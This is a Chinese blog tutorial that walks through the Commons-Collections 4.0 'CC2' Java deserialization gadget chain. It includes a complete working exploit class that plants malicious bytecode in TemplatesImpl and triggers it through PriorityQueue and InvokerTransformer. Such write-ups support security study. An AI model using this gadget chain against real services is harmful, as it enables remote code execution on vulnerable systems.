首页 > 编程语言 >Java反序列化之Commons-Collection篇05-CC2链

Java反序列化之Commons-Collection篇05-CC2链

时间:2023-06-13 20:34:03浏览次数:42  
标签:InvokerTransformer TemplatesImpl Java transformingComparator 05 org import new 

<1> 环境分析

jdk:jdk8u65
CC:Commons-Collections 4.0
pom.xml 添加

<dependency>  
 <groupId>org.apache.commons</groupId>  
 <artifactId>commons-collections4</artifactId>  
 <version>4.0</version>  
</dependency>

<2> 链子分析

CC2 实际上是 CC4的一个变型。 在CC3中我们提到了 TemplatesImpl链 加载恶意类命令执行,可以通过这个TemplatesImpl.newTransformer() 来作入口加载恶意类

CC2里的做法 并不是像CC4 通过 TransformingComparator.compare() -> InstantiateTransformer.transform() -> TrAXFilter.TrAXFilter() 去调用 TemplatesImpl.newTransformer()

而是通过 InvokerTransformer.transform() 反射调用 TemplatesImpl.newTransformer()

因此我们可以沿用 之前的 CC4和 TemplatesImpl链代码 修改一下即可

CC2的难点就只在于 用 InvokerTransformer 的连接
后半部分应该改为:

InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        //transformingComparator.compare(1,2);

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);  //只能在第一个put这里
        priorityQueue.add(2);

        setFieldValue(transformingComparator,"transformer",invokerTransformer);

调试跟进去看一下就清楚了

最终调用 InvokerTransformer.transform(templates)

EXP编写

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2Test {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","1vxyz");

        byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\CC\\target\\classes\\org\\example\\evil.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);

        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        //transformingComparator.compare(1,2);

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(2);

        setFieldValue(transformingComparator,"transformer",invokerTransformer);
        //serialize(priorityQueue);
        unserialize("sercc2.bin");

    }
    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc2.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

CC2 链区别与其他链子一点的区别在于没有用 Transformer 数组。白日梦组长说:不用数组是因为比如 shiro 当中的漏洞,它会重写很多动态加载数组的方法,这就可能会导致我们的 EXP 无法通过数组实现 后面我们学到的时候再体会体会

标签:InvokerTransformer,TemplatesImpl,Java,transformingComparator,05,org,import,new,
From: https://www.cnblogs.com/1vxyz/p/17478613.html

相关文章

  • javascript:eval()的用法
    eval()是JavaScript中的一个全局函数,它可以计算或执行参数。如果参数是表达式,则eval()计算表达式;如果参数是一个或多个JavaScript语句,则eval()执行这些语句。以下是一些常见的用法:-计算表达式的值:`varresult=eval("3+5");`-执行JavaScript代码字符串:`varcode......
  • Java9新特性
    在介绍java9之前,我们先来看看java成立到现在的所有版本。  1990年初,最初被命名为Oak;  1995年5月23日,Java语言诞生;  1996年1月,第一个JDK-JDK1.0诞生;  1996年4月,10个最主要的操作系统供应商申明将在其产品中嵌入Java技术;  1996年9月,约8.3万个网页应用了Jav......
  • Java9比Java8改进了什么
    1)引入了模块系统,采用模块化系统的应用程序只需要这些应用程序所需的那部分JDK模块,而非是整个JDK框架了,减少了内存的开销。2)引入了一个新的package:java.net.http,里面提供了对Http访问很好的支持,不仅支持Http1.1而且还支持HTTP2。3)引入了jshell这个交互性工具,让Java也可以像脚本......
  • JAVA8 十大新特性详解
    一、接口的默认方法Java8允许我们给接口添加一个非抽象的方法实现,只需要使用default关键字即可,这个特征又叫做扩展方法,示例如下:代码如下:interfaceFormula{   doublecalculate(inta);    defaultdoublesqrt(inta){       returnMath.sqrt(a); ......
  • JavaScript Array 对象参考手册 splice() 方法
    JavaScriptsplice()方法返回JavaScriptArray对象参考手册(目录)定义和用法splice()方法用于插入、删除或替换数组的元素。语法arrayObject.splice(index,howmany,element1,.....,elementX) 参数描述index必需。规定从何处添加/删除元素。该参数是开始插入和(或)删除的数组......
  • JavaScript Array 对象参考手册 reverse() 方法
    JavaScriptreverse()方法返回JavaScriptArray对象参考手册(目录)定义和用法reverse()方法用于颠倒数组中元素的顺序。语法arrayObject.reverse() 提示和注释注释:该方法会改变原来的数组,而不会创建新的数组。实例在本例中,我们将创建一个数组,然后颠倒其元素的顺序:<scr......
  • Java使用for嵌套循环打印九九乘法表
    第一步:构思观看九九乘法表,并使用计算机思维发现其规律。(1)首先,我们需要知道Java的输出可以控制里面的结果在不在一行,所以我们需要观察行与行之间的规律。我们可以把乘法看成b×a=c(2)然后,我们看第二行可以发现“a=2”而且“a=2”在第二行没有变,而“b”在发生变化。并且看第......
  • java包装
    一.枚举1.枚举产生的原因场景:定义属性的同时如果出现不合逻辑的类型,则需要用枚举类型替代2.创建枚举枚举的关键字:enum枚举实战:这里的sex的类型是枚举类型的名称publicenumXinbie{MALE,FEMAL}privateXinbiesex;调用Xinbie里的属性把sex进行封装;main方法==》实例化对象......
  • Java中@Transactional 注解使用注意事项
    隔离级别关键词原子性(Atomicity):事务是数据库的逻辑工作单位,它对数据库的修改要么全部执行,要么全部不执行。一致性(Consistemcy):事务前后,数据库的状态都满足所有的完整性约束。隔离性(Isolation):并发执行的事务是隔离的,一个不影响一个。如果有两个事务,......
  • 分享一个Java功能小案例(代码已开源哦)
    工程合集工程列表地址预览B站抖音......